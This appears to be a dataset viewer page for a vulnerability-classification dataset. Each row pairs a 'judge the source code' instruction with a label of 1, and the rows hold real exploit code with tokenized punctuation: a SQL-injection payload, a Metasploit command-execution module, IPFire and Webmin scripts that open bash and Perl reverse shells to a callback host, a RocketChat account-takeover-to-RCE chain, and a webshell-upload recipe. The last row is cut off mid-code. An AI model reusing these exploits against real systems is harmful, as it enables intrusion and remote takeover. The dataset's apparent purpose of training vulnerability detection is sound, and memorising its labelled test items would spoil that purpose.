Dataset Viewer
Auto-converted to Parquet
instruction
stringclasses
1 value
input
stringlengths
66
34.9k
output
stringclasses
2 values
please judge the source code for vulnerabilities.
<hyphen><hyphen><hyphen><hyphen><hyphen> PoC: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request: http:<slash><slash>localhost<slash>[PATH]<slash>kategori<slash>ikinci<hyphen>el<hyphen>klima.html?oz[]=1<underscore>1<NEWLINE>Vulnerable Parameters: oz[] (GET)<NEWLINE>Payload: 0<single<underscore>quote>XOR(if(now()=sysdate(),sleep(0),0))XOR<single<underscore>quote>Z
1
please judge the source code for vulnerabilities.
require <single<underscore>quote>msf<slash>core<single<underscore>quote><NEWLINE>class Metasploit3 < Msf::Exploit::Remote<NEWLINE>Rank = ExcellentRanking<NEWLINE>include Msf::Exploit::Remote::HttpClient<NEWLINE>def initialize(info = {})<NEWLINE>super(update<underscore>info(info,<NEWLINE><single<underscore>quote>Name<single<underscore>quote> => <single<underscore>quote>Spreecommerce 0.60.1 Arbitrary Command Execution<single<underscore>quote>,<NEWLINE><single<underscore>quote>Description<single<underscore>quote> => %q{<NEWLINE>This module exploits an arbitrary command execution vulnerability in the<NEWLINE>Spreecommerce search. Unvalidated input is called via the<NEWLINE>Ruby send method allowing command execution.<NEWLINE>},<NEWLINE><single<underscore>quote>Author<single<underscore>quote> => [ <single<underscore>quote>joernchen <joernchen[at]phenoelit.de><single<underscore>quote> ],<NEWLINE><single<underscore>quote>License<single<underscore>quote> => MSF<underscore>LICENSE,<NEWLINE><single<underscore>quote>Version<single<underscore>quote> => <single<underscore>quote>$Revision: 13831 $<single<underscore>quote>,<NEWLINE><single<underscore>quote>References<single<underscore>quote> =><NEWLINE>[<NEWLINE>[ <single<underscore>quote>OSVDB<single<underscore>quote>, <single<underscore>quote>76011<single<underscore>quote>],<NEWLINE>[ <single<underscore>quote>URL<single<underscore>quote>, <single<underscore>quote>http:<slash><slash>spreecommerce.com<slash>blog<slash>2011<slash>10<slash>05<slash>remote<hyphen>command<hyphen>product<hyphen>group<slash><single<underscore>quote> ],<NEWLINE>],<NEWLINE><single<underscore>quote>Privileged<single<underscore>quote> => false,<NEWLINE><single<underscore>quote>Payload<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>BadChars<single<underscore>quote> => <double<underscore>quote><backslash>x60<double<underscore>quote>,<NEWLINE><single<underscore>quote>DisableNops<single<underscore>quote> => true,<NEWLINE><single<underscore>quote>Space<single<underscore>quote> => 31337,<NEWLINE><single<underscore>quote>Compat<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>PayloadType<single<underscore>quote> => <single<underscore>quote>cmd<single<underscore>quote>,<NEWLINE>}<NEWLINE>},<NEWLINE><single<underscore>quote>Platform<single<underscore>quote> => [ <single<underscore>quote>unix<single<underscore>quote>, <single<underscore>quote>linux<single<underscore>quote> ],<NEWLINE><single<underscore>quote>Arch<single<underscore>quote> => ARCH<underscore>CMD,<NEWLINE><single<underscore>quote>Targets<single<underscore>quote> => [[ <single<underscore>quote>Automatic<single<underscore>quote>, { }]],<NEWLINE><single<underscore>quote>DefaultTarget<single<underscore>quote> => 0))<NEWLINE>register<underscore>options(<NEWLINE>[<NEWLINE>OptString.new(<single<underscore>quote>URI<single<underscore>quote>, [true, <double<underscore>quote>The path to the Spreecommerce main site<double<underscore>quote>, <double<underscore>quote><slash><double<underscore>quote>]),<NEWLINE>], self.class)<NEWLINE>end<NEWLINE>def exploit<NEWLINE>command = Rex::Text.uri<underscore>encode(payload.raw, <single<underscore>quote>hex<hyphen>all<single<underscore>quote>)<NEWLINE>res = send<underscore>request<underscore>raw({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => datastore[<single<underscore>quote>URI<single<underscore>quote>]+ <double<underscore>quote>?search[send][]=eval&search[send][]=Kernel.fork%20do%60<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>headers<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>User<hyphen>Agent<single<underscore>quote> => <single<underscore>quote>Mozilla<slash>4.0 (compatible; MSIE 6.0; Windows NT 5.1)<single<underscore>quote>,<NEWLINE><single<underscore>quote>Connection<single<underscore>quote> => <single<underscore>quote>Close<single<underscore>quote>,<NEWLINE>}<NEWLINE>}, 0.4 )<NEWLINE>if (res)<NEWLINE>print<underscore>status(<double<underscore>quote>The server returned:<NEWLINE>end<NEWLINE>handler<NEWLINE>end<NEWLINE>end
1
please judge the source code for vulnerabilities.
import requests<NEWLINE>revhost = <single<underscore>quote>192.168.56.1<single<underscore>quote><NEWLINE>revport = 1337<NEWLINE>url = <single<underscore>quote>https:<slash><slash>192.168.56.102:444<slash>cgi<hyphen>bin<slash>ids.cgi<single<underscore>quote><NEWLINE>username = <single<underscore>quote>admin<single<underscore>quote><NEWLINE>password = <single<underscore>quote>admin<single<underscore>quote><NEWLINE>payload = <single<underscore>quote>bash <hyphen>i >& <slash>dev<slash>tcp<slash><single<underscore>quote> + revhost + <single<underscore>quote><slash><single<underscore>quote> + str(revport) + <single<underscore>quote> 0>&1<single<underscore>quote><NEWLINE>evildata = {<single<underscore>quote>ENABLE<underscore>SNORT<underscore>GREEN<single<underscore>quote>:<single<underscore>quote>on<single<underscore>quote>,<single<underscore>quote>ENABLE<underscore>SNORT<single<underscore>quote>:<single<underscore>quote>on<single<underscore>quote>,<single<underscore>quote>RULES<single<underscore>quote>:<single<underscore>quote>registered<single<underscore>quote>,<single<underscore>quote>OINKCODE<single<underscore>quote>: <single<underscore>quote>`id`<single<underscore>quote>,<single<underscore>quote>ACTION<single<underscore>quote>: <single<underscore>quote>Download new ruleset<single<underscore>quote>,<single<underscore>quote>ACTION2<single<underscore>quote>:<single<underscore>quote>snort<single<underscore>quote>}<NEWLINE>headers = {<single<underscore>quote>Accept<hyphen>Encoding<single<underscore>quote> : <single<underscore>quote>gzip, deflate, br<single<underscore>quote>,<single<underscore>quote>Accept<single<underscore>quote>:<single<underscore>quote>text<slash>html,application<slash>xhtml+xml,application<slash>xml;q=0.9,*<slash>*;q=0.8<single<underscore>quote>,<single<underscore>quote>User<hyphen>Agent<single<underscore>quote>:<single<underscore>quote>IPFIRE Exploit<single<underscore>quote>,<single<underscore>quote>Referer<single<underscore>quote>: url,<single<underscore>quote>Upgrade<hyphen>Insecure<hyphen>Requests<single<underscore>quote>:<single<underscore>quote>1<single<underscore>quote>}<NEWLINE>def verifyVuln():<NEWLINE>req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False)<NEWLINE>if(req.status<underscore>code == 200 and <double<underscore>quote>uid=99(nobody)<double<underscore>quote> in req.text):<NEWLINE>print <double<underscore>quote>[+] IPFire Installation is Vulnerable [+]<double<underscore>quote><NEWLINE>revShell()<NEWLINE>else:<NEWLINE>print <double<underscore>quote>[+] Not Vulnerable [+]<double<underscore>quote><NEWLINE>def revShell():<NEWLINE>evildata[<double<underscore>quote>OINKCODE<double<underscore>quote>] = <single<underscore>quote>`<single<underscore>quote> + payload + <single<underscore>quote>`<single<underscore>quote><NEWLINE>print <double<underscore>quote>[+] Sending Malicious Payload [+]<double<underscore>quote><NEWLINE>req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False)<NEWLINE>verifyVuln()
1
please judge the source code for vulnerabilities.
import requests<NEWLINE>import string<NEWLINE>import time<NEWLINE>import hashlib<NEWLINE>import json<NEWLINE>import oathtool<NEWLINE>import argparse<NEWLINE>parser = argparse.ArgumentParser(description=<single<underscore>quote>RocketChat 3.12.1 RCE<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>u<single<underscore>quote>, help=<single<underscore>quote>Low priv user email [ No 2fa ]<single<underscore>quote>, required=True)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>a<single<underscore>quote>, help=<single<underscore>quote>Administrator email<single<underscore>quote>, required=True)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>t<single<underscore>quote>, help=<single<underscore>quote>URL (Eg: http:<slash><slash>rocketchat.local)<single<underscore>quote>, required=True)<NEWLINE>args = parser.parse<underscore>args()<NEWLINE>adminmail = args.a<NEWLINE>lowprivmail = args.u<NEWLINE>target = args.t<NEWLINE>def forgotpassword(email,url):<NEWLINE>payload=<single<underscore>quote>{<double<underscore>quote>message<double<underscore>quote>:<double<underscore>quote>{<backslash><backslash><double<underscore>quote>msg<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>sendForgotPasswordEmail<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>params<backslash><backslash><double<underscore>quote>:[<backslash><backslash><double<underscore>quote><single<underscore>quote>+email+<single<underscore>quote><backslash><backslash><double<underscore>quote>]}<double<underscore>quote>}<single<underscore>quote><NEWLINE>headers={<single<underscore>quote>content<hyphen>type<single<underscore>quote>: <single<underscore>quote>application<slash>json<single<underscore>quote>}<NEWLINE>r = requests.post(url+<double<underscore>quote><slash>api<slash>v1<slash>method.callAnon<slash>sendForgotPasswordEmail<double<underscore>quote>, data = payload, headers = headers, verify = False, allow<underscore>redirects = False)<NEWLINE>print(<double<underscore>quote>[+] Password Reset Email Sent<double<underscore>quote>)<NEWLINE>def resettoken(url):<NEWLINE>u = url+<double<underscore>quote><slash>api<slash>v1<slash>method.callAnon<slash>getPasswordPolicy<double<underscore>quote><NEWLINE>headers={<single<underscore>quote>content<hyphen>type<single<underscore>quote>: <single<underscore>quote>application<slash>json<single<underscore>quote>}<NEWLINE>token = <double<underscore>quote><double<underscore>quote><NEWLINE>num = list(range(0,10))<NEWLINE>string<underscore>ints = [str(int) for int in num]<NEWLINE>characters = list(string.ascii<underscore>uppercase + string.ascii<underscore>lowercase) + list(<single<underscore>quote><hyphen><single<underscore>quote>)+list(<single<underscore>quote><underscore><single<underscore>quote>) + string<underscore>ints<NEWLINE>while len(token)!= 43:<NEWLINE>for c in characters:<NEWLINE>payload=<single<underscore>quote>{<double<underscore>quote>message<double<underscore>quote>:<double<underscore>quote>{<backslash><backslash><double<underscore>quote>msg<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>getPasswordPolicy<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>params<backslash><backslash><double<underscore>quote>:[{<backslash><backslash><double<underscore>quote>token<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>$regex<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>^%s<backslash><backslash><double<underscore>quote>}}]}<double<underscore>quote>}<single<underscore>quote> % (token + c)<NEWLINE>r = requests.post(u, data = payload, headers = headers, verify = False, allow<underscore>redirects = False)<NEWLINE>time.sleep(0.5)<NEWLINE>if <single<underscore>quote>Meteor.Error<single<underscore>quote> not in r.text:<NEWLINE>token += c<NEWLINE>print(f<double<underscore>quote>Got: {token}<double<underscore>quote>)<NEWLINE>print(f<double<underscore>quote>[+] Got token : {token}<double<underscore>quote>)<NEWLINE>return token<NEWLINE>def changingpassword(url,token):<NEWLINE>payload = <single<underscore>quote>{<double<underscore>quote>message<double<underscore>quote>:<double<underscore>quote>{<backslash><backslash><double<underscore>quote>msg<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>resetPassword<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>params<backslash><backslash><double<underscore>quote>:[<backslash><backslash><double<underscore>quote><single<underscore>quote>+token+<single<underscore>quote><backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>P@$$w0rd!1234<backslash><backslash><double<underscore>quote>]}<double<underscore>quote>}<single<underscore>quote><NEWLINE>headers={<single<underscore>quote>content<hyphen>type<single<underscore>quote>: <single<underscore>quote>application<slash>json<single<underscore>quote>}<NEWLINE>r = requests.post(url+<double<underscore>quote><slash>api<slash>v1<slash>method.callAnon<slash>resetPassword<double<underscore>quote>, data = payload, headers = headers, verify = False, allow<underscore>redirects = False)<NEWLINE>if <double<underscore>quote>error<double<underscore>quote> in r.text:<NEWLINE>exit(<double<underscore>quote>[<hyphen>] Wrong token<double<underscore>quote>)<NEWLINE>print(<double<underscore>quote>[+] Password was changed !<double<underscore>quote>)<NEWLINE>def twofactor(url,email):<NEWLINE>sha256pass = hashlib.sha256(b<single<underscore>quote>P@$$w0rd!1234<single<underscore>quote>).hexdigest()<NEWLINE>payload =<single<underscore>quote>{<double<underscore>quote>message<double<underscore>quote>:<double<underscore>quote>{<backslash><backslash><double<underscore>quote>msg<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>login<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>params<backslash><backslash><double<underscore>quote>:[{<backslash><backslash><double<underscore>quote>user<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>email<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote><single<underscore>quote>+email+<single<underscore>quote><backslash><backslash><double<underscore>quote>},<backslash><backslash><double<underscore>quote>password<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>digest<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote><single<underscore>quote>+sha256pass+<single<underscore>quote><backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>algorithm<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>sha<hyphen>256<backslash><backslash><double<underscore>quote>}}]}<double<underscore>quote>}<single<underscore>quote><NEWLINE>headers={<single<underscore>quote>content<hyphen>type<single<underscore>quote>: <single<underscore>quote>application<slash>json<single<underscore>quote>}<NEWLINE>r = requests.post(url + <double<underscore>quote><slash>api<slash>v1<slash>method.callAnon<slash>login<double<underscore>quote>,data=payload,headers=headers,verify=False,allow<underscore>redirects=False)<NEWLINE>if <double<underscore>quote>error<double<underscore>quote> in r.text:<NEWLINE>exit(<double<underscore>quote>[<hyphen>] Couldn<single<underscore>quote>t authenticate<double<underscore>quote>)<NEWLINE>data = json.loads(r.text)<NEWLINE>data =(data[<single<underscore>quote>message<single<underscore>quote>])<NEWLINE>userid = data[32:49]<NEWLINE>token = data[60:103]<NEWLINE>print(f<double<underscore>quote>[+] Succesfully authenticated as {email}<double<underscore>quote>)<NEWLINE>cookies = {<single<underscore>quote>rc<underscore>uid<single<underscore>quote>: userid,<single<underscore>quote>rc<underscore>token<single<underscore>quote>: token}<NEWLINE>headers={<single<underscore>quote>X<hyphen>User<hyphen>Id<single<underscore>quote>: userid,<single<underscore>quote>X<hyphen>Auth<hyphen>Token<single<underscore>quote>: token}<NEWLINE>payload = <single<underscore>quote><slash>api<slash>v1<slash>users.list?query={<double<underscore>quote>$where<double<underscore>quote>%3a<double<underscore>quote>this.username%3d%3d%3d<backslash><single<underscore>quote>admin<backslash><single<underscore>quote>+%26%26+(()%3d>{+throw+this.services.totp.secret+})()<double<underscore>quote>}<single<underscore>quote><NEWLINE>r = requests.get(url+payload,cookies=cookies,headers=headers)<NEWLINE>code = r.text[46:98]<NEWLINE>print(f<double<underscore>quote>Got the code for 2fa: {code}<double<underscore>quote>)<NEWLINE>return code<NEWLINE>def changingadminpassword(url,token,code):<NEWLINE>payload = <single<underscore>quote>{<double<underscore>quote>message<double<underscore>quote>:<double<underscore>quote>{<backslash><backslash><double<underscore>quote>msg<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>resetPassword<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>params<backslash><backslash><double<underscore>quote>:[<backslash><backslash><double<underscore>quote><single<underscore>quote>+token+<single<underscore>quote><backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>P@$$w0rd!1234<backslash><backslash><double<underscore>quote>,{<backslash><backslash><double<underscore>quote>twoFactorCode<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote><single<underscore>quote>+code+<single<underscore>quote><backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>twoFactorMethod<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>totp<backslash><backslash><double<underscore>quote>}]}<double<underscore>quote>}<single<underscore>quote><NEWLINE>headers={<single<underscore>quote>content<hyphen>type<single<underscore>quote>: <single<underscore>quote>application<slash>json<single<underscore>quote>}<NEWLINE>r = requests.post(url+<double<underscore>quote><slash>api<slash>v1<slash>method.callAnon<slash>resetPassword<double<underscore>quote>, data = payload, headers = headers, verify = False, allow<underscore>redirects = False)<NEWLINE>if <double<underscore>quote>403<double<underscore>quote> in r.text:<NEWLINE>exit(<double<underscore>quote>[<hyphen>] Wrong token<double<underscore>quote>)<NEWLINE>print(<double<underscore>quote>[+] Admin password changed !<double<underscore>quote>)<NEWLINE>def rce(url,code,cmd):<NEWLINE>sha256pass = hashlib.sha256(b<single<underscore>quote>P@$$w0rd!1234<single<underscore>quote>).hexdigest()<NEWLINE>headers={<single<underscore>quote>content<hyphen>type<single<underscore>quote>: <single<underscore>quote>application<slash>json<single<underscore>quote>}<NEWLINE>payload = <single<underscore>quote>{<double<underscore>quote>message<double<underscore>quote>:<double<underscore>quote>{<backslash><backslash><double<underscore>quote>msg<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>method<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>login<backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>params<backslash><backslash><double<underscore>quote>:[{<backslash><backslash><double<underscore>quote>totp<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>login<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>user<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>username<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>admin<backslash><backslash><double<underscore>quote>},<backslash><backslash><double<underscore>quote>password<backslash><backslash><double<underscore>quote>:{<backslash><backslash><double<underscore>quote>digest<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote><single<underscore>quote>+sha256pass+<single<underscore>quote><backslash><backslash><double<underscore>quote>,<backslash><backslash><double<underscore>quote>algorithm<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote>sha<hyphen>256<backslash><backslash><double<underscore>quote>}},<backslash><backslash><double<underscore>quote>code<backslash><backslash><double<underscore>quote>:<backslash><backslash><double<underscore>quote><single<underscore>quote>+code+<single<underscore>quote><backslash><backslash><double<underscore>quote>}}]}<double<underscore>quote>}<single<underscore>quote><NEWLINE>r = requests.post(url + <double<underscore>quote><slash>api<slash>v1<slash>method.callAnon<slash>login<double<underscore>quote>,data=payload,headers=headers,verify=False,allow<underscore>redirects=False)<NEWLINE>if <double<underscore>quote>error<double<underscore>quote> in r.text:<NEWLINE>exit(<double<underscore>quote>[<hyphen>] Couldn<single<underscore>quote>t authenticate<double<underscore>quote>)<NEWLINE>data = json.loads(r.text)<NEWLINE>data =(data[<single<underscore>quote>message<single<underscore>quote>])<NEWLINE>userid = data[32:49]<NEWLINE>token = data[60:103]<NEWLINE>print(<double<underscore>quote>[+] Succesfully authenticated as administrator<double<underscore>quote>)<NEWLINE>payload = <single<underscore>quote>{<double<underscore>quote>enabled<double<underscore>quote>:true,<double<underscore>quote>channel<double<underscore>quote>:<double<underscore>quote><NEWLINE>cookies = {<single<underscore>quote>rc<underscore>uid<single<underscore>quote>: userid,<single<underscore>quote>rc<underscore>token<single<underscore>quote>: token}<NEWLINE>headers = {<single<underscore>quote>X<hyphen>User<hyphen>Id<single<underscore>quote>: userid,<single<underscore>quote>X<hyphen>Auth<hyphen>Token<single<underscore>quote>: token}<NEWLINE>r = requests.post(url+<single<underscore>quote><slash>api<slash>v1<slash>integrations.create<single<underscore>quote>,cookies=cookies,headers=headers,data=payload)<NEWLINE>data = r.text<NEWLINE>data = data.split(<single<underscore>quote>,<single<underscore>quote>)<NEWLINE>token = data[12]<NEWLINE>token = token[9:57]<NEWLINE><underscore>id = data[18]<NEWLINE><underscore>id = <underscore>id[7:24]<NEWLINE>u = url + <single<underscore>quote><slash>hooks<slash><single<underscore>quote> + <underscore>id + <single<underscore>quote><slash><single<underscore>quote> +token<NEWLINE>r = requests.get(u)<NEWLINE>print(r.text)<NEWLINE>print(f<double<underscore>quote>[+] Resetting {lowprivmail} password<double<underscore>quote>)<NEWLINE>forgotpassword(lowprivmail,target)<NEWLINE>token = resettoken(target)<NEWLINE>changingpassword(target,token)<NEWLINE>secret = twofactor(target,lowprivmail)<NEWLINE>print(f<double<underscore>quote>[+] Resetting {adminmail} password<double<underscore>quote>)<NEWLINE>forgotpassword(adminmail,target)<NEWLINE>token = resettoken(target)<NEWLINE>code = oathtool.generate<underscore>otp(secret)<NEWLINE>changingadminpassword(target,token,code)<NEWLINE>while True:<NEWLINE>cmd = input(<double<underscore>quote>CMD:> <double<underscore>quote>)<NEWLINE>code = oathtool.generate<underscore>otp(secret)<NEWLINE>rce(target,code,cmd)
1
please judge the source code for vulnerabilities.
|<NEWLINE>| NAS Uploader [V1.0&1.5] Remote File Upload Vulnerability<NEWLINE>|<NEWLINE>| Author : [ViRuSMaN]<NEWLINE>|<NEWLINE>| Contact : [v.<hyphen>m@live.com]<NEWLINE>|<NEWLINE>| Home : [Islam<hyphen>Attack.CoM , HackTeach.OrG]<NEWLINE>|<NEWLINE>| Download : [http:<slash><slash>www.nasuploader.com<slash>nasuploader<underscore>v10<underscore>packdemo.php]<NEWLINE>| [http:<slash><slash>www.nasuploader.com<slash>nasuploader<underscore>v15<underscore>packdemo.php]<NEWLINE>|<NEWLINE>|<NEWLINE>|<NEWLINE>| Exp :<NEWLINE>|<NEWLINE>| 1<hyphen> Go to target.com<slash>[path]<slash>upload<underscore>multiple<underscore>js.php<NEWLINE>|<NEWLINE>| 2<hyphen> Click On <double<underscore>quote>Parcourir<double<underscore>quote><NEWLINE>|<NEWLINE>| 3<hyphen> Upload Your Shell Format <double<underscore>quote>shell.php.rar<double<underscore>quote><NEWLINE>|<NEWLINE>| 4<hyphen> Pwd Your Shell [target.com<slash>[path]<slash>uploads<slash>tests<slash>shell.php.rar]<NEWLINE>|<NEWLINE>|<NEWLINE>| Greets : All members of islam<hyphen>attack.com , hackteach.org & Sec<hyphen>Sni.Com All Muslim<single<underscore>quote>s<NEWLINE>|
1
please judge the source code for vulnerabilities.
<double<underscore>quote><double<underscore>quote><double<underscore>quote><NEWLINE>Coded by: @faisalfs10x<NEWLINE>GitHub: https:<slash><slash>github.com<slash>faisalfs10x<NEWLINE>Reference: https:<slash><slash>huntr.dev<slash>bounties<slash>d0049a96<hyphen>de90<hyphen>4b1a<hyphen>9111<hyphen>94de1044f295<slash><NEWLINE><double<underscore>quote><double<underscore>quote><double<underscore>quote><NEWLINE>import requests<NEWLINE>import urllib3<NEWLINE>import argparse<NEWLINE>import os<NEWLINE>import time<NEWLINE>urllib3.disable<underscore>warnings(urllib3.exceptions.InsecureRequestWarning)<NEWLINE>TGREEN = <single<underscore>quote><backslash>033[32m<single<underscore>quote><NEWLINE>TRED = <single<underscore>quote><backslash>033[31m<single<underscore>quote><NEWLINE>TCYAN = <single<underscore>quote><backslash>033[36m<single<underscore>quote><NEWLINE>TSHELL = <single<underscore>quote><backslash>033[32;1m<single<underscore>quote><NEWLINE>ENDC = <single<underscore>quote><backslash>033[m<single<underscore>quote><NEWLINE>class Exploit(object):<NEWLINE>def <underscore><underscore>init<underscore><underscore>(self, target, username, password, py3http<underscore>server, pyhttp<underscore>port, upload<underscore>path, callback<underscore>ip, callback<underscore>port, fname):<NEWLINE>self.target = target<NEWLINE>self.username = username<NEWLINE>self.password = password<NEWLINE>self.py3http<underscore>server = py3http<underscore>server<NEWLINE>self.pyhttp<underscore>port = pyhttp<underscore>port<NEWLINE>self.upload<underscore>path = upload<underscore>path<NEWLINE>self.callback<underscore>ip = callback<underscore>ip<NEWLINE>self.callback<underscore>port = callback<underscore>port<NEWLINE>self.fname = fname<NEWLINE>self.s = requests.Session()<NEWLINE>def gen<underscore>payload(self):<NEWLINE>payload = (<single<underscore>quote><single<underscore>quote><single<underscore>quote>perl <hyphen>e <single<underscore>quote>use Socket;$i=<double<underscore>quote><single<underscore>quote><single<underscore>quote><single<underscore>quote> + self.callback<underscore>ip + <single<underscore>quote><single<underscore>quote><single<underscore>quote><double<underscore>quote>;$p=<single<underscore>quote><single<underscore>quote><single<underscore>quote> + self.callback<underscore>port + <single<underscore>quote><single<underscore>quote><single<underscore>quote>;socket(S,PF<underscore>INET,SOCK<underscore>STREAM,getprotobyname(<double<underscore>quote>tcp<double<underscore>quote>));if(connect(S,sockaddr<underscore>in($p,inet<underscore>aton($i)))){open(STDIN,<double<underscore>quote>>&S<double<underscore>quote>);open(STDOUT,<double<underscore>quote>>&S<double<underscore>quote>);open(STDERR,<double<underscore>quote>>&S<double<underscore>quote>);exec(<double<underscore>quote><slash>bin<slash>bash <hyphen>i<double<underscore>quote>);};<single<underscore>quote> <single<underscore>quote><single<underscore>quote><single<underscore>quote>)<NEWLINE>print(TCYAN + f<double<underscore>quote><backslash>n[+] Generating payload to {self.fname} in current directory<double<underscore>quote>, ENDC)<NEWLINE>f = open(f<double<underscore>quote>{self.fname}<double<underscore>quote>, <double<underscore>quote>w<double<underscore>quote>)<NEWLINE>f.write(payload)<NEWLINE>f.close()<NEWLINE>def login(self):<NEWLINE>login<underscore>url = self.target + <double<underscore>quote><slash>session<underscore>login.cgi<double<underscore>quote><NEWLINE>cookies = { <double<underscore>quote>redirect<double<underscore>quote>: <double<underscore>quote>1<double<underscore>quote>, <double<underscore>quote>testing<double<underscore>quote>: <double<underscore>quote>1<double<underscore>quote>, <double<underscore>quote>PHPSESSID<double<underscore>quote>: <double<underscore>quote><double<underscore>quote> }<NEWLINE>data = { <single<underscore>quote>user<single<underscore>quote> : self.username, <single<underscore>quote>pass<single<underscore>quote> : self.password }<NEWLINE>try:<NEWLINE>r = self.s.post(login<underscore>url, data=data, cookies=cookies, verify=False, allow<underscore>redirects=True, timeout=10)<NEWLINE>success<underscore>message = <single<underscore>quote>System hostname<single<underscore>quote><NEWLINE>if success<underscore>message in r.text:<NEWLINE>print(TGREEN + <double<underscore>quote>[+] Login Successful<double<underscore>quote>, ENDC)<NEWLINE>else:<NEWLINE>print(TRED +<double<underscore>quote>[<hyphen>] Login Failed<double<underscore>quote>, ENDC)<NEWLINE>exit()<NEWLINE>except requests.Timeout as e:<NEWLINE>print(TRED + f<double<underscore>quote>[<hyphen>] Target: {self.target} is not responding, Connection timed out<double<underscore>quote>, ENDC)<NEWLINE>exit()<NEWLINE>def pyhttp<underscore>server(self):<NEWLINE>print(f<single<underscore>quote>[+] Attempt to host http.server on {self.pyhttp<underscore>port}<backslash>n<single<underscore>quote>)<NEWLINE>os.system(f<single<underscore>quote>(setsid $(which python3) <hyphen>m http.server {self.pyhttp<underscore>port} 0>&1 & ) <single<underscore>quote>)<NEWLINE>print(<single<underscore>quote>[+] Sleep 3 second to ensure http server is up!<single<underscore>quote>)<NEWLINE>time.sleep(3)<NEWLINE>def download<underscore>remote<underscore>url(self):<NEWLINE>download<underscore>url = self.target + <double<underscore>quote><slash>extensions<slash>file<hyphen>manager<slash>http<underscore>download.cgi?module=filemin<double<underscore>quote><NEWLINE>headers = {<NEWLINE><double<underscore>quote>Accept<double<underscore>quote>: <double<underscore>quote>application<slash>json, text<slash>javascript, *<slash>*; q=0.01<double<underscore>quote>,<NEWLINE><double<underscore>quote>Accept<hyphen>Encoding<double<underscore>quote>: <double<underscore>quote>gzip, deflate<double<underscore>quote>,<NEWLINE><double<underscore>quote>Content<hyphen>Type<double<underscore>quote>: <double<underscore>quote>application<slash>x<hyphen>www<hyphen>form<hyphen>urlencoded; charset=UTF<hyphen>8<double<underscore>quote>,<NEWLINE><double<underscore>quote>X<hyphen>Requested<hyphen>With<double<underscore>quote>: <double<underscore>quote>XMLHttpRequest<double<underscore>quote>,<NEWLINE><double<underscore>quote>Referer<double<underscore>quote>: self.target + <double<underscore>quote><slash>filemin<slash>?xnavigation=1<double<underscore>quote><NEWLINE>}<NEWLINE>data = {<NEWLINE><single<underscore>quote>link<single<underscore>quote>: <double<underscore>quote>http:<slash><slash><double<underscore>quote> + self.py3http<underscore>server + <double<underscore>quote><slash><double<underscore>quote> + self.fname,<NEWLINE><single<underscore>quote>username<single<underscore>quote>: <single<underscore>quote><single<underscore>quote>,<NEWLINE><single<underscore>quote>password<single<underscore>quote>: <single<underscore>quote><single<underscore>quote>,<NEWLINE><single<underscore>quote>path<single<underscore>quote>: self.upload<underscore>path<NEWLINE>}<NEWLINE>r = self.s.post(download<underscore>url, data=data, headers=headers, verify=False, allow<underscore>redirects=True)<NEWLINE>print(f<double<underscore>quote><backslash>n[+] Fetching {self.fname} from http.server {self.py3http<underscore>server}<double<underscore>quote>)<NEWLINE>def 